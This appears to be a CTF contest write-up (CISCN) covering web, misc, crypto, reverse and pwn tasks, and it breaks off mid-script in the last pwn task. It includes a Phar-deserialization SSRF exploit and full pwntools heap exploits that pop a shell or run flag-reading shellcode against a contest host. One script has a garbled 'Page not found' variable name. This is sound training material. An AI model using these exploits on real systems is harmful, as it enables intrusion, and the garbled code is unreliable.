# web
# 1.welcomeToCiscn
http://192.168.166.147:58005/flag

flag{61ee5435b6f59d42329ac2644d887dc2}
# 2.ezphp
The prompt said a web player could solve this one with QQ. Flags used the format flag{xxxx} . The host was the IP returned by get_ip on the web template machine, on port 58003.
Opening the challenge redirected me to Tencent’s website. I couldn’t see the challenge’s original response in the browser’s Network tab, so I switched to Burp.

Burp showed requests going to www.qq.com. I changed the destination address and the Host header by hand.


This time I reached a file upload interface. Visiting upload.php returned the source, with some characters HTML-encoded.

Saving the response as a local HTML page and opening it gave me the source:
upload.php
<?php | |
highlight_file(__FILE__); | |
header("content-type:text/html;charset=utf-8"); // 设置编码 | |
error_reporting(0); | |
include "config.php"; | |
ini_set("max_execution_time","5"); | |
//flag in flag.php | |
if(strlen($_FILES['file']['tmp_name'])>0){ | |
$filetype = $_FILES['file']['type']; | |
$tmp = $_FILES['file']['tmp_name']; | |
$content=file_get_contents($tmp); | |
if (preg_match("/<\?|php/i", $content )){ | |
echo "go away!!!! hacker"; | |
exit(); | |
} | |
$filepath="storage/"; | |
if( $filetype=="image/gif" ){ | |
$random_name=substr(md5(time()), 0, 8); | |
if(move_uploaded_file($tmp,$filepath.$random_name.".gif")){ | |
echo "上传成功:路径在: ./".$filepath.$random_name.".gif"; | |
}else{ | |
echo "上传失败"; | |
} | |
} | |
else{ | |
echo "invalid gif"; | |
} | |
} | |
function checkimg($img){ | |
$check=getimagesize($img); | |
if (($check!=false) && ($check['mime'] == 'image/gif')){ | |
echo "safe image"; | |
} | |
else{ | |
echo "go away hacker"; | |
} | |
} | |
$img=$_GET["img"]; | |
if (isset($img)){ | |
checkimg($img); | |
} |
config.php
<?php | |
highlight_file(__FILE__); | |
class Mysql{ | |
public $conn; | |
public $dbhost; | |
public $dbusername; | |
public $dbpasswd; | |
public function __construct() | |
{ | |
if(isset($_POST['dbhost'])&&isset($_POST['dbusername'])&&isset($_POST['dbpasswd'])) | |
{ | |
$this->dbhost=$_POST['dbhost']; | |
$this->dbusername=$_POST['dbusername']; | |
$this->dbpasswd=$_POST['dbpasswd']; | |
} | |
} | |
public function connect() | |
{ | |
$this->conn=new mysqli($this->dbhost,$this->dbusername,$this->dbpasswd); | |
if($this->conn->connect_error) | |
{ | |
echo "Connection failed: {$this->conn->connect_error}"; | |
return False; | |
} | |
$result=$this->conn->query("select * from test"); | |
if(is_resource($result)) | |
{ | |
return $result->fetch_assoc(); | |
} | |
else | |
{ | |
return False; | |
} | |
} | |
public function __destruct() | |
{ | |
$this->conn->close(); | |
} | |
} |
The hint mentioned flag.php. Visiting it returned its source as well:
<?php | |
if ($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){ | |
file_put_contents("flag.txt",$flag); | |
} |
My notes on the source:
- upload.php
- If the content type was
image/gifand the regex did not match a PHP opening tag or the letters php, the program saved the upload asstorage/xxxxxxxx.gif. - With an img parameter it called
getimagesizeto inspect the image.
- If the content type was
- config.php
- There was just one class, Mysql.
- Its connect method wasn’t usable here. Its destructor was: it called
$this->conn->close();.
- flag.php
- This copied the flag into flag.txt, but only for a request originating on the local machine.
How I approached it:
- The end goal was for
127.0.0.1to requestflag.php. - Seeing the PHP filter alongside
getimagesizemade me think of Phar deserialization. - Mysql supplied the class to deserialize. For the SSRF step I looked at the built-in SoapClient class: the destructor’s call to close on conn would invoke SoapClient’s __call method.
That gave me the following sequence:
- Build a Mysql object whose conn member is a SoapClient pointing to
http://127.0.0.1/flag.php. - Store the object in a Phar archive’s metadata.
- Compress the original Phar as .tar.gz to get past the regex.
Here’s the script I used:
<?php | |
class Mysql | |
{ | |
public $conn; | |
public $dbhost; | |
public $dbusername; | |
public $dbpasswd; | |
public function __construct($conn, $dbhost, $dbusername, $dbpasswd) | |
{ | |
$this->conn = $conn; | |
$this->dbhost = $dbhost; | |
$this->dbusername = $dbusername; | |
$this->dbpasswd = $dbpasswd; | |
} | |
public function __destory(){ | |
@system("calc"); | |
$this->conn->clase(); | |
} | |
} | |
$soap = new SoapClient(null,array("location"=>"http://127.0.0.1/flag.php","uri"=>"http://127.0.0.1/flag.php")); | |
$mysql=new Mysql( | |
$soap, | |
"xxx", | |
"xxx", | |
"xxx", | |
); | |
$ser=$mysql; | |
@unlink("phar.gif"); | |
$phar = new Phar("phar.phar"); | |
$phar = $phar->convertToExecutable(Phar::TAR,Phar::GZ); | |
$phar->startBuffering(); | |
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); | |
$phar->setMetadata($ser); | |
$phar->addFromString("f1ag.txt","f1ag{PharData}"); | |
$phar->stopBuffering(); | |
@system("move phar.phar.tar.gz phar.gif"); | |
@system("ls|findstr phar"); | |
include("phar://./phar.gif/f1ag.txt"); |
Running it produced phar.gif and printed its contents. The resulting file contained no byte sequence that matched the filter.
I used this form to upload it to the challenge:
<html lang="en"> | |
<body> | |
<form action="http://192.168.166.147:58003/upload.php" name="name" method="post" enctype="multipart/form-data" target=""> | |
file:<input type="file" name="file"> | |
<br> | |
<input type="submit" value="提交"> | |
</form> | |
</body> | |
</html> |

After the upload the browser landed on /upload.php, which showed the stored file’s address.

Opening that path through the phar wrapper triggered deserialization.
http://192.168.166.147:58003/upload.php?img=phar://./storage/ae08a63f.gif

SoapClient requested /flag.php and the flag was written into flag.txt. The file wasn’t really a GIF, so the condition failed and the response said “go away hacker”. By then I could just open flag.txt.
http://192.168.166.147:58003/flag.txt

#
# MISC
# pika
flag : flag{d6246d1f41fad032ee30193f3af15408}
The least significant bit planes of the RGB channels looked unusual. Exporting the extracted bits gave a text file.
Here’s the extracted content:
cGkgcGkgcGkgcGkgcGkgcGkgcGkgcGkgcGkgcGkgcGlrYSBwaXBpIHBpIHBpcGkgcGkgcGkgcGkgcGlwaSBwaSBwaSBwaSBwaSBwaSBwaSBwaSBwaXBpIHBpIHBpIHBpIHBpIHBpIHBpIHBpIHBpIHBpIHBpIHBpY2h1IHBpY2h1IHBpY2h1IHBpY2h1IGthIGNodSBwaXBpIHBpcGkgcGlwaSBwaXBpIHBpIHBpIHBpa2FjaHUgcGkgcGkgcGkgcGkgcGkgcGkgcGlrYWNodSBrYSBrYSBrYSBrYSBrYSBrYSBrYSBrYSBrYSBrYSBrYSBwaWthY2h1IHBpIHBpIHBpIHBpIHBpIHBpIHBpa2FjaHUgcGkgcGkgcGkgcGkgcGkgcGkgcGkgcGkgcGkgcGkgcGkgcGkgcGkgcGkgcGkgcGkgcGkgcGkgcGkgcGkgcGlrYWNodSBrYSBrYSBrYSBrYSBrYSBrYSBrYSBrYSBrYSBrYSBrYSBrYSBrYSBrYSBrYSBrYSBrYSBrYSBrYSBrYSBrYSBrYSBrYSBwaWthY2h1IHBpY2h1IGthIGthIGthIGthIGthIGthIGthIGthIGthIGthIGthIGthIGthIGthIGthIGthIHBpa2FjaHUga2Ega2Ega2Ega2EgcGlrYWNodSBwaSBwaSBwaWthY2h1IHBpIHBpIHBpa2FjaHUgcGlwaSBwaWthY2h1IHBpY2h1IGthIGthIGthIGthIGthIHBpa2FjaHUgcGlwaSBwaSBwaSBwaWthY2h1IHBpY2h1IHBpIHBpIHBpIHBpa2FjaHUga2Ega2Ega2EgcGlrYWNodSBwaXBpIHBpa2FjaHUga2Ega2Ega2Ega2Ega2EgcGlrYWNodSBwaSBwaSBwaSBwaWthY2h1IHBpY2h1IGthIHBpa2FjaHUgcGkgcGkgcGkgcGlrYWNodSBrYSBwaWthY2h1IHBpcGkgcGkgcGlrYWNodSBwaWthY2h1IHBpY2h1IHBpIHBpa2FjaHUga2Ega2Ega2EgcGlrYWNodSBwaSBwaWthY2h1IHBpIHBpIHBpIHBpIHBpIHBpIHBpIHBpIHBpa2FjaHUga2Ega2Ega2Ega2Ega2Ega2EgcGlrYWNodSBwaXBpIHBpIHBpa2FjaHUgcGljaHUgcGlrYWNodSBwaXBpIGthIGthIGthIGthIGthIHBpa2FjaHUgcGkgcGkgcGkgcGkgcGkgcGlrYWNodSBwaWNodSBrYSBrYSBwaWthY2h1IHBpIHBpIHBpIHBpIHBpa2FjaHUga2EgcGlrYWNodSBrYSBrYSBrYSBrYSBwaWthY2h1IHBpIHBpIHBpIHBpIHBpIHBpIHBpIHBpIHBpa2FjaHUgcGlwaSBwaSBwaSBwaSBwaSBwaSBwaSBwaSBwaSBwaSBwaSBwaSBwaSBwaSBwaSBwaSBwaSBwaSBwaSBwaSBwaSBwaSBwaSBwaSBwaWthY2h1IA==
After Base64 decoding:
pi pi pi pi pi pi pi pi pi pi pika pipi pi pipi pi pi pi pipi pi pi pi pi pi pi pi pipi pi pi pi pi pi pi pi pi pi pi pichu pichu pichu pichu ka chu pipi pipi pipi pipi pi pi pikachu pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka ka ka ka ka pikachu pi pi pi pi pi pi pikachu pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka ka ka ka ka ka ka ka ka ka ka ka ka ka ka ka ka pikachu pichu ka ka ka ka ka ka ka ka ka ka ka ka ka ka ka ka pikachu ka ka ka ka pikachu pi pi pikachu pi pi pikachu pipi pikachu pichu ka ka ka ka ka pikachu pipi pi pi pikachu pichu pi pi pi pikachu ka ka ka pikachu pipi pikachu ka ka ka ka ka pikachu pi pi pi pikachu pichu ka pikachu pi pi pi pikachu ka pikachu pipi pi pikachu pikachu pichu pi pikachu ka ka ka pikachu pi pikachu pi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka pikachu pipi pi pikachu pichu pikachu pipi ka ka ka ka ka pikachu pi pi pi pi pi pikachu pichu ka ka pikachu pi pi pi pi pikachu ka pikachu ka ka ka ka pikachu pi pi pi pi pi pi pi pi pikachu pipi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu
I used the Pikalang interpreter.
Interpreting the program gave the flag.
# A secret in memory
The challenge supplied two files, secret.raw and yuijm0-=pkl; .
I inspected the first file with volatility -f secret.raw imageinfo :
Suggested Profile(s) : Win10x64_14393, Win10x64_10586, Win10x64, Win2016x64_14393
It was a memory image. The output also gave the operating system and suggested profiles.
In AXIOM I selected the Win10x64_14393 profile for the memory capture:

Once processing finished, I browsed the recovered artifacts before deciding what to follow.
Under operating system artifacts, the Windows Timeline showed repeated use of VeraCrypt:

Sorting web-related artifacts by descending date exposed several file records.
The interesting entries included virtual disks, flag.txt.txt, BitLocker recovery material, decrypt.png and secret.zip.

The encryption artifacts contained five recovery-key files. Four contained a complete key, with three distinct values between them:
109703-115929-085558-382888-715638-661716-466774-220858
172612-531773-032945-133364-584639-681373-481602-511291
109703-115929-085558-382888-715638-661716-466774-233200
Given the VeraCrypt traces, I suspected the oddly named file was a disk container meant to be mounted with VeraCrypt.
The filenames in the web artifacts probably belonged to the next stages inside the disk.
I expected to need one of the BitLocker recovery keys for a file reached later.
The hint mentioned a keyboard password. Tracing the characters of the filename on the keyboard gave this pattern:

It looked like TZ. That was my candidate for the mount password.
Mounting the container revealed a virtual disk named encrypt.vhd .
In DiskGenius I chose Disk → Open virtual disk file and selected that VHD.
The volume was protected by BitLocker:

Trying the three recovered values unlocked the volume and exposed decrypt.png and secret.zip :

The ZIP was password-protected. The name decrypt.png suggested the image contained its password.

The text “a tribute to babydisk” referred back to a qualifying-round challenge. The key word in its write-up was “spiral”.
Starting in the upper-right corner and reading the radicals clockwise gave: ⼃⼇⼋⼏⼎⼍⼌⼈⼄⼀⼁⼂⼆⼊⼉⼅ .
Copying the Unicode characters from Wikipedia and using 7-Zip worked.
The precise code points mattered. Characters typed with an input method could look right and still fail.
The extracted flag.txt contained:

I used this script to decode it:
import base64 | |
def base64stego_decrypt(lines): | |
base64char = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" | |
bintext = "" | |
for line in lines: | |
if line.find("==") > 0: | |
tmp = bin(base64char.find(line[-3]) & 15)[2:] | |
bintext = bintext+"0"*(4-len(tmp))+tmp | |
elif line.find("=") > 0: | |
tmp = bin(base64char.find(line[-2]) & 3)[2:] | |
bintext = bintext+"0"*(2-len(tmp))+tmp | |
text = "" | |
if(len(bintext) % 8 != 0): | |
print("error") | |
for i in range(0, len(bintext), 8): | |
if(i+8 > len(bintext)): | |
text = text+"-"+bintext[i:] | |
return text | |
else: | |
text = text+chr(int(bintext[i:i+8], 2)) | |
else: | |
for i in range(0, len(bintext), 8): | |
text = text+chr(int(bintext[i:i+8], 2)) | |
return text | |
if __name__ == "__main__": | |
path = "flag.txt" | |
file = open(path, "r") | |
line = file.read().splitlines() | |
print(base64stego_decrypt(line)) |
Result: MemoRy_S1cr1t .
# CRYPTO
# eazy
flag : flag{a9462922e5da8ef93d213c33168881c5}
Base64 decoding the supplied data gave:
svciqytf10r3ln!nule7
I reversed a three-rail zigzag transposition:
syntvfu1c0lri3elqn7!
Then I tried the Caesar shifts:
model = "abcdefghijklmnopqrstuvwxyz" | |
model2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' | |
str1 = "syntvfu1c0lri3elqn7!" | |
for key in range(1,27): | |
for s in str1: | |
if s.islower(): | |
n = model.find(s) | |
s = model[n-key] | |
elif s.isupper(): | |
n = model2.find(s) | |
s = model2[n-key] | |
print(s, end='') | |
print('') |
The result was:
flagish1p0yev3ryda7!
Read with spaces: “flag is h1p0yev3ryda7!”.
The flag body was the lowercase 32-character MD5 digest of h1p0yev3ryda7! .
# RunFaster
flag : flag{0ed7bc5c61e32c10e082abd2b5589a22}
ciphertext.txt contained aligned hexadecimal strings. Converting them to characters produced no obvious text. There were no other hints. I’d seen a similar puzzle involving reuse of a one-time pad, and that reading seemed to fit the name RunFaster. I adapted the script from this many-time-pad attack write-up to recover the key.
Here’s the many-time-pad script:
import Crypto.Util.strxor as xo | |
import libnum, codecs, numpy as np | |
def isChr(x): | |
if ord('a') <= x and x <= ord('z'): return True | |
if ord('A') <= x and x <= ord('Z'): return True | |
return False | |
def infer(index, pos): | |
if msg[index, pos] != 0: | |
return | |
msg[index, pos] = ord(' ') | |
for x in range(len(c)): | |
if x != index: | |
msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ') | |
dat = [] | |
def getSpace(): | |
for index, x in enumerate(c): | |
res = [xo.strxor(x, y) for y in c if x!=y] | |
f = lambda pos: len(list(filter(isChr, [s[pos] for s in res]))) | |
cnt = [f(pos) for pos in range(len(x))] | |
for pos in range(len(x)): | |
dat.append((f(pos), index, pos)) | |
c = [codecs.decode(x.strip().encode(), 'hex') for x in open('Problem.txt', 'r').readlines()] | |
msg = np.zeros([len(c), len(c[0])], dtype=int) | |
getSpace() | |
dat = sorted(dat)[::-1] | |
for w, index, pos in dat: | |
infer(index, pos) | |
print('\n'.join([''.join([chr(c) for c in x]) for x in msg])) |
The output was:

Some plaintext became recognisable. From the last line I guessed the ending e were neither up nor down. OK . XORing a candidate plaintext with its ciphertext yields a candidate key.
s=bytes.fromhex('32397f47102d3c101b3a2a34063a2013354111173036600a0c44314c602d32') | |
txt="e were neither up nor down. OK" | |
for i in range(len(s)): | |
print(chr(ord(txt[i])^s[i]),end='') | |
#W_0u_Y0u_C@n_R3@11y_D@nc3_b@by | |
print() | |
print(chr(int('25',16)^ord('e'))) | |
#W@_0u_Y0u_C@n_R3@11y_D@nc3_b@by |
One character was still unresolved. Comparing the first line with “they” in the fourth line from the end filled it in. I then XORed all the ciphertexts with the recovered key.

The recovered key opened the archive. The next stage provided a dictionary and salted hashes. I hashed candidates with the corresponding salt and compared the results.
from passlib.hash import md5_crypt | |
f=open(r'C:\Users\lx\Desktop\分区赛\密码\minirockyou.txt','r') | |
enc='$1$ciscn010$mSuTlV75nZZGGjoayF/nS0' | |
while True: | |
s=f.readline().replace('\n','') | |
if enc in md5_crypt.hash(s,salt='ciscn010'): | |
print(s) | |
break |
The individual candidates were short enough to update enc and salt manually for each one. This produced a plaintext string.
m="the second letter of each word in this list in order" #取出这些单词的第二个字符 | |
m=m.split(' ') | |
str='' | |
for i in range(len(m)): | |
str+=m[i][1] | |
print(str) | |
#heefaonhinr | |
#flag{0ed7bc5c61e32c10e082abd2b5589a22} |
Wrapping that text directly in the flag format failed. The other flag bodies were 32 hexadecimal characters, so I tried the MD5 digest of heefaonhinr . That worked 😃
# RE
# crackme2
flag : flag{50c418de67942e713517e900dbd12183}
For this Android reversing puzzle I opened the app in JADX and inspected main1Activity. The main function was:
public native String stringFromJNI(String str); | |
static { | |
System.loadLibrary("crackme2"); | |
} | |
public static boolean checkFmt(String input) { | |
for (int i = 0; i < input.length(); i++) { | |
if (Character.isUpperCase(input.charAt(i))) { | |
return false; | |
} | |
} | |
return true; | |
} | |
public /* synthetic */ void m0lambda$onCreate$0$comctfcrackme2Main1Activity(EditText et_input, View v) { | |
String input = et_input.getText().toString(); | |
if (input.startsWith("flag{") && input.endsWith("}") && input.length() > 6 && input.length() < 39 && checkFmt(input)) { | |
Toast.makeText(this, stringFromJNI(input.substring(5, input.length() - 1)), 0).show(); | |
} | |
} |
The app first checked the format and length. checkFmt rejected uppercase input; the call to stringFromJNI then moved the main check into the native library. I unpacked the APK, loaded the x86 shared library into IDA and checked its exports. The JNI function was statically registered, so I adjusted its parameters as shown below.

The native function checked for 32 characters before passing the input to sub_D1FE5640.

It read a serialised object from tmp for use in encryption. sscanf then parsed pairs of hexadecimal characters into a byte array: the 32-character input represented 16 bytes.

The native code called the encrypt method on com/risid/test/AESEncrypt and used SetByteArrayRegion to pass data to Java. I found the definition of encrypt in JADX.

The content argument was the parsed byte array. The IV was “0123456789abcdef”, and the third argument was the object recovered from tmp. This was AES in CBC mode. I needed the first 16 bytes of plaintext. I already had the IV, but I still needed the key.

The key was in AESGenerator under com/risid/test. With that information I could test the decryption in Python.
from Crypto.Cipher import AES | |
c=bytes([0x08, 0x32, 0x97, 0x4C, 0x9E, 0xE2, 0xDB, 0x44, 0x40, 0x92, 0x0B, 0x0F, 0x7C, 0x75, 0x00, 0x56, 0x7C, 0x13, 0xA3, 0xBF, 0xB4, 0x69, 0x5D, 0x88, 0xCE, 0x0B, 0x97, 0x78, 0x51, 0x05, 0x8A, 0xD9]) | |
iv=b'0123456789abcdef' | |
key=bytes.fromhex('60aef077a3624ff7725b77dae4c6e004') | |
aes=AES.new(key,AES.MODE_CBC,iv) | |
m=aes.decrypt(c) | |
for i in range(16): | |
print(hex(m[i])[2:].zfill(2),end='') | |
#flag{50c418de67942e713517e900dbd12183} |
# easycry
This was the introductory reversing task. Exeinfo showed an unpacked 64-bit ELF, which I opened in IDA64.
flag : flag{061cc4091400c082234a57034ed05cf2}

FindCrypt identified an AES S-box. The main function made the overall flow fairly clear.

v5 held the 32-byte AES key, ptr the expanded key. sub_1DC5 performed key expansion and sub_2181 encrypted two 16-byte blocks in ECB mode, so the recorded ciphertext could be decrypted directly.
from Crypto.Cipher import AES | |
k=bytes([0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F]) | |
aes=AES.new(k,AES.MODE_ECB) | |
c=bytes([0x32, 0x59, 0x1D, 0xED, 0xBA, 0xAC, 0x5D, 0x48, 0xCE, 0x1E, 0xBD, 0x8C, 0x43, 0xFA, 0x34, 0x5B, 0x9D, 0x6E, 0xBB, 0x25, 0xF9, 0x17, 0x59, 0x31, 0xDE, 0x20, 0x36, 0xB9, 0x5B, 0xB5, 0x72, 0x5B]) | |
print(aes.decrypt(c)) | |
#flag{061cc4091400c082234a57034ed05cf2} |
# PWN
# duck

flag{693edf4763ef4cdd4f152794028b7f5e}
This libc 2.34 challenge had a straightforward use-after-free and an Edit operation. Together they gave us a shell.
Approach
- Use the dangling pointer to leak a heap address, then allocate and delete several chunks to leak libc.
- Allocate a chunk over the tcache entries and use Edit to control subsequent allocations.
- Replace the flags field of stderr with
/bin/sh\0. - Replace the function pointer in _IO_file_jumps with system. Changing the top chunk’s size then reaches _IO_fflush and gives a shell.
Exp
#!/usr/bin/env python2 | |
# -*- coding: utf-8 -* | |
import re | |
import os | |
from pwn import * | |
from LibcSearcher import * | |
se = lambda data :p.send(data) | |
sa = lambda delim,data :p.sendafter(delim, data) | |
sl = lambda data :p.sendline(data) | |
sla = lambda delim,data :p.sendlineafter(delim, data) | |
sea = lambda delim,data :p.sendafter(delim, data) | |
rc = lambda numb=4096 :p.recv(numb) | |
ru = lambda delims, drop=True :p.recvuntil(delims, drop) | |
uu32 = lambda data :u32(data.ljust(4, '\0')) | |
uu64 = lambda data :u64(data.ljust(8, '\0')) | |
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data) | |
def debug(breakpoint=''): | |
glibc_dir = '~/Exps/Glibc/glibc-2.27/' | |
gdbscript = 'directory %smalloc/\n' % glibc_dir | |
gdbscript += 'directory %sstdio-common/\n' % glibc_dir | |
gdbscript += 'directory %sstdlib/\n' % glibc_dir | |
gdbscript += 'directory %slibio/\n' % glibc_dir | |
elf_base = int(os.popen('pmap {}| awk \x27{ {print \x241} }\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0 | |
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint | |
gdb.attach(p, gdbscript) | |
time.sleep(1) | |
elf = ELF('./pwn') | |
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62']) | |
# p = process('./pwn') | |
# debug() | |
p = remote('192.168.166.147',58013) | |
def menu(c): | |
sla('Choice: ',str(c)) | |
def add(): | |
menu(1) | |
def dele(id): | |
menu(2) | |
sla('Idx: ',str(id)) | |
def show(id): | |
menu(3) | |
sla('Idx: \n',str(id)) | |
def edit(id,data,size=0x100): | |
menu(4) | |
sla('Idx: ',str(id)) | |
sla('Size: ',str(size)) | |
sea('Content: ',str(data)) | |
add() | |
dele(0) | |
show(0) | |
heap_leak = uu64(ru('\n')) | |
heap_base = heap_leak <<12 | |
lg('heap_leak',heap_leak) | |
lg('heap_base',heap_base) | |
for i in range(10): | |
add() # 9 | |
for i in range(1,2+8): | |
dele(i) | |
show(8) | |
libc_leak = uu64(ru('\x7f',drop=False)[-6:]) | |
libc_base = libc_leak - 0x1f2cc0 | |
lg('libc_leak',libc_leak) | |
lg('libc_base',libc_base) | |
#libc = ELF('./libc.so.6') | |
libc = elf.libc | |
libc.address = libc_base | |
system_addr = libc.sym.system | |
bin_sh = libc.search('/bin/sh').next() | |
stderr = libc_base + 0x1f3680 | |
helper = libc_base + 0x1f45c0 | |
edit(7,p64(heap_leak^(heap_base+0x100))) | |
add() # 11 | |
# pause() | |
add() # 12 | |
edit(12,p64(stderr)*2) | |
lg('ADDR',(heap_base+0x100)) | |
add() # 13 | |
edit(13,'/bin/sh\0') | |
edit(12,p64(helper)*2) | |
add() | |
edit(14,p64(system_addr)) | |
for i in range(3): | |
edit(12,p64(heap_base+0xd30)*2) | |
add() | |
edit(15,p64(0)*2) | |
add() | |
add() | |
add() | |
# add() | |
p.interactive() |
# bigduck

flag{afae47ead2452a4b5ba629ec88635a51}
This sandboxed heap challenge used libc 2.33. Otherwise it was much like the previous one.
Approach
- Leak the heap address through the dangling pointer, then allocate and delete several chunks to leak libc.
- Allocate over the tcache entries and use Edit to control where a chunk is allocated.
- Use House of Kiwi for the stack pivot, then execute the shellcode to read the flag.
exp
#!/usr/bin/env python2 | |
# -*- coding: utf-8 -* | |
import re | |
import os | |
from pwn import * | |
from LibcSearcher import * | |
se = lambda data :p.send(data) | |
sa = lambda delim,data :p.sendafter(delim, data) | |
sl = lambda data :p.sendline(data) | |
sla = lambda delim,data :p.sendlineafter(delim, data) | |
sea = lambda delim,data :p.sendafter(delim, data) | |
rc = lambda numb=4096 :p.recv(numb) | |
ru = lambda delims, drop=True :p.recvuntil(delims, drop) | |
uu32 = lambda data :u32(data.ljust(4, '\0')) | |
uu64 = lambda data :u64(data.ljust(8, '\0')) | |
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data) | |
def debug(breakpoint=''): | |
glibc_dir = '~/Exps/Glibc/glibc-2.27/' | |
gdbscript = 'directory %smalloc/\n' % glibc_dir | |
gdbscript += 'directory %sstdio-common/\n' % glibc_dir | |
gdbscript += 'directory %sstdlib/\n' % glibc_dir | |
gdbscript += 'directory %slibio/\n' % glibc_dir | |
elf_base = int(os.popen('pmap {}| awk \x27{ {print \x241} }\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0 | |
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint | |
gdb.attach(p, gdbscript) | |
time.sleep(1) | |
elf = ELF('./pwn') | |
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62']) | |
# p = process('./pwn') | |
# debug() | |
p = remote('192.168.166.147',58011) | |
def menu(c): | |
sla('Choice: ',str(c)) | |
def add(): | |
menu(1) | |
def dele(id): | |
menu(2) | |
sla('Idx: ',str(id)) | |
def show(id): | |
menu(3) | |
sla('Idx: \n',str(id)) | |
def edit(id,data,size=0x100): | |
menu(4) | |
sla('Idx: ',str(id)) | |
sla('Size: ',str(size)) | |
sea('Content: ',str(data)) | |
add() | |
dele(0) | |
show(0) | |
heap_leak = uu64(ru('\n')) | |
heap_base = heap_leak <<12 | |
lg('heap_leak',heap_leak) | |
lg('heap_base',heap_base) | |
for i in range(10): | |
add() # 9 | |
for i in range(1,2+8): | |
dele(i) | |
edit(8,'u') | |
show(8) | |
libc_leak = uu64(ru('\x7f',drop=False)[-6:]) | |
libc_base = libc_leak - 0x1e0c75 | |
lg('libc_leak',libc_leak) | |
lg('libc_base',libc_base) | |
#libc = ELF('./libc.so.6') | |
libc = elf.libc | |
libc.address = libc_base | |
system_addr = libc.sym.system | |
bin_sh = libc.search('/bin/sh').next() | |
edit(8,'\0') | |
stderr = libc_base + 0x1f3680 | |
sync = libc_base + 0x1e24a0 + 0x60 | |
Page not found= libc_base + 0x529ad | |
helper = libc_base + 0x1e1940 | |
ret = libc_base + 0x0000000000026699 | |
rdi = libc_base + 0x0000000000028a55 | |
rsi = libc_base + 0x000000000002a4cf | |
rdx = libc_base + 0x00000000000c7f32 | |
addr = heap_base + 0x400 | |
mmp = flat([ | |
0,rdi,((addr)>>12)<<12,rsi,0x2000,rdx,7,libc.sym.mprotect,rdi,0,rsi,addr+0x400,rdx,0x100,libc.sym.read,libc_base + 0x00000000000506b1 | |
]) | |
edit(0,mmp) | |
# edit(1,mmp) | |
edit(7,p64(heap_leak^(heap_base+0x100))) | |
add() # 11 | |
# pause() | |
add() # 12 | |
edit(12,p64(helper)*2) | |
lg('ADDR',(heap_base+0x100)) | |
add() # 13 | |
edit(13,p64(heap_base+0x2a8)+p64(ret)) | |
edit(12,p64(sync)*2) | |
add() | |
edit(14,p64(Page not found)) | |
for i in range(3): | |
edit(12,p64(heap_base+0xd30)*2) | |
add() | |
edit(15,p64(0)*2) | |
add() | |
add() | |
add() | |
# # add() | |
sleep(2) | |
sl(asm(shellcraft.cat('/flag'))) | |
p.interactive() | |
''' | |
0x0000000000028a55 : pop rdi ; ret | |
0x0000000000112a51 : pop rdx ; pop r12 ; ret | |
0x00000000001574e6 : pop rdx ; pop rbx ; ret | |
0x00000000000fc103 : pop rdx ; pop rcx ; pop rbx ; ret | |
0x00000000000c7f32 : pop rdx ; ret | |
0x0000000000095982 : pop rdx ; ret 0x11 | |
0x0000000000093342 : pop rdx ; ret 0xfffc | |
0x0000000000028db0 : pop rsi ; pop r15 ; pop rbp ; ret | |
0x0000000000028a53 : pop rsi ; pop r15 ; ret | |
0x000000000002a4cf : pop rsi ; ret | |
0x0000000000028dac : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret | |
0x0000000000028a4f : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret | |
0x000000000002a4cb : pop rsp ; pop r13 ; pop r14 ; ret | |
0x0000000000043922 : pop rsp ; pop r13 ; pop rbp ; ret | |
0x000000000002a04c : pop rsp ; pop r13 ; ret | |
0x00000000000de0e6 : pop rsp ; pop rbp ; ret | |
0x0000000000033af2 : pop rsp ; ret | |
0x0000000000026699 : ret | |
''' |
# blue

flag{8c65b8bd2169f2cf662ae9e324aaef66}
This heap challenge used Ubuntu GLIBC 2.31-0ubuntu9.8. The IO jumps section was read-only, so the usual approach wouldn’t work.
Approach
- Use the backdoor function and a House of Botcake–style overlap to leak libc.
- Set the House of Husk handler to exit.
- Set the two functions in exit_hook to gets and
svcudp_reply+26. - Use House of Kiwi to trigger exit, run exit_hook, pivot the stack and execute the shellcode that reads the flag.
Exp
#!/usr/bin/env python2 | |
# -*- coding: utf-8 -* | |
import re | |
import os | |
from pwn import * | |
from LibcSearcher import * | |
se = lambda data :p.send(data) | |
sa = lambda delim,data :p.sendafter(delim, data) | |
sl = lambda data :p.sendline(data) | |
sla = lambda delim,data :p.sendlineafter(delim, data) | |
sea = lambda delim,data :p.sendafter(delim, data) | |
rc = lambda numb=4096 :p.recv(numb) | |
ru = lambda delims, drop=True :p.recvuntil(delims, drop) | |
uu32 = lambda data :u32(data.ljust(4, '\0')) | |
uu64 = lambda data :u64(data.ljust(8, '\0')) | |
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data) | |
def debug(breakpoint=''): | |
glibc_dir = '~/Exps/Glibc/glibc-2.27/' | |
gdbscript = 'directory %smalloc/\n' % glibc_dir | |
gdbscript += 'directory %sstdio-common/\n' % glibc_dir | |
